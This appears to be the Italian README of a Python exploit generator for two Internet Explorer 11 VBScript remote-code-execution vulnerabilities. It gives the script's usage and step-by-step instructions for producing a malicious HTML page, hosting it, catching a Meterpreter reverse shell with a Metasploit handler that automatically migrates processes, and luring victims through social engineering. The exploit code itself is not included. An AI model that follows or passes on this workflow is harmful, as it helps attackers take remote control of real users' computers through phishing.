Exploit VBScript per IE11

Generatore di Exploit per CVE-2018-8174 & CVE-2019-0768 (RCE tramite esecuzione VBScript in IE11)

Prerequisiti

• Metasploit
• msfvenom

Utilizzo

python ie11_vbscript.py [Listener IP] [Listener Port]

Istruzioni

1. Usa questo script per generare "exploit.html"
2. Carica il file html sul tuo server
3. Configura un handler con windows/meterpreter/reverse_tcp in Metasploit
4. Nel tuo handler, imposta AutoRunScript con "post/windows/manage/migrate"
5. Esegui un attacco di social engineering con l'URL del payload

Crediti

https://www.exploit-db.com/exploits/44741

CVE

https://nvd.nist.gov/vuln/detail/CVE-2018-8174 https://nvd.nist.gov/vuln/detail/CVE-2019-0768